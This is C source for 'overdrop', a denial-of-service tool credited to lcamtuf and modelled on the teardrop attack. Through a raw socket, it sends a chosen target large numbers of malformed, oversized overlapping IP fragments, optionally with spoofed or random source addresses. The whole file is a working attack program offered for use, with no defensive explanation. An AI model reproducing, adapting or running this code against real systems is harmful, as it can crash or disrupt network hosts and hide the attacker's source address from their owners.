#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#define IP_MF 0x2000
#define IPH 0x14
#define UDPH 0x8
#define PADDING 0x1c
#define MAGIC 0x3
#define COUNT 0xBEEF
#define FRAG2 0xFFFF

void usage(char *name) {
  fprintf(stderr,"%s dst_ip [ -n how_many ] [ -s src_ip ]\n",name);
  exit(0);
}

u_long name_resolve(char *host_name) {
  struct in_addr addr;
  struct hostent *host_ent;
  if ((addr.s_addr=inet_addr(host_name))==-1) {
    if (!(host_ent=gethostbyname(host_name))) return (0);
    bcopy(host_ent->h_addr,(char *)&addr.s_addr,host_ent->h_length);
  }
  return (addr.s_addr);
}
 

void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt) {
  u_char *packet=NULL,*p_ptr=NULL;
  u_char byte;
  struct sockaddr_in sin;
  sin.sin_family=AF_INET;
  sin.sin_port=src_prt;
  sin.sin_addr.s_addr=dst_ip;
  packet=(u_char *)malloc(IPH+UDPH+PADDING);
  p_ptr=packet;
  bzero((u_char *)p_ptr,IPH+UDPH+PADDING);
  byte=0x45;
  memcpy(p_ptr,&byte,sizeof(u_char));
  p_ptr+=2;
  *((u_short *)p_ptr)=htons(IPH+UDPH+PADDING);
  p_ptr+=2;
  *((u_short *)p_ptr)=htons(242);
  p_ptr+=2;
  *((u_short *)p_ptr)|=htons(IP_MF);
  p_ptr+=2;
  *((u_short *)p_ptr)=0x40;
  byte=IPPROTO_UDP;
  memcpy(p_ptr+1,&byte,sizeof(u_char));
  p_ptr+=4;
  *((u_long *)p_ptr)=src_ip;
  p_ptr+=4;
  *((u_long *)p_ptr)=dst_ip;
  p_ptr+=4;
  *((u_short *)p_ptr)=htons(src_prt);
  p_ptr+=2;
  *((u_short *)p_ptr)=htons(dst_prt);
  p_ptr+=2;
  *((u_short *)p_ptr)=htons(8+PADDING);
  if (sendto(sock,packet,IPH+UDPH+PADDING,0,(struct sockaddr *)&sin,
      sizeof(struct sockaddr))==-1) {
    perror("\nsendto");
    free(packet);
    exit(1);
  }
  p_ptr=&packet[2];
  *((u_short *)p_ptr)=htons(IPH+MAGIC+1);
  p_ptr+=4;
  *((u_short *)p_ptr)=htons(FRAG2);
  if (sendto(sock,packet,IPH+MAGIC+1,0,(struct sockaddr *)&sin,
      sizeof(struct sockaddr))==-1) {
    perror("\nsendto");
    free(packet);
    exit(1);
  }
  free(packet);
}
 

int main(int argc, char **argv) {
  int one=1,count=0,i,rip_sock;
  u_long  src_ip=0,dst_ip=0;
  u_short src_prt=0,dst_prt=0;
  struct in_addr addr;
  fprintf(stderr,"overdrop by lcamtuf [based on teardrop by route|daemon9]\n\n");
  if((rip_sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
    perror("raw socket");
    exit(1);
  }
  if (setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) {
    perror("IP_HDRINCL");
    exit(1);
  }
  if (argc < 2) usage(argv[0]);
  if (!(dst_ip=name_resolve(argv[1]))) {
    fprintf(stderr,"Can't resolve destination address.\n");
    exit(1);
  }
  while ((i=getopt(argc,argv,"s:n:"))!=EOF) {
    switch (i) {
      case 'n':
        count   = atoi(optarg);
        break;
      case 's':
        if (!(src_ip=name_resolve(optarg))) {
          fprintf(stderr,"Can't resolve source address.\n");
          exit(1);
        }
 break;
      default:
        usage(argv[0]);
        break;
    }
  }
  srandom((unsigned)(time((time_t)0)));
  if (!count) count=COUNT;
  fprintf(stderr,"Sending oversized packets:\nFrom: ");
  if (!src_ip) fprintf(stderr,"       (random)"); else {
    addr.s_addr = src_ip;
    fprintf(stderr,"%15s",inet_ntoa(addr));
  }
  addr.s_addr = dst_ip;
  fprintf(stderr,"\n  To: %15s\n",inet_ntoa(addr));
  fprintf(stderr," Amt: %5d\n",count);
  fprintf(stderr,"[ ");
  for (i=0;i<count;i++) {
    if (!src_ip) send_frags(rip_sock,rand(),dst_ip,rand(),rand()); else
      send_frags(rip_sock,src_ip,dst_ip,rand(),rand());
    fprintf(stderr, "b00z ");
    usleep(500);
  }
  fprintf(stderr, "]\n");
  return (0);
}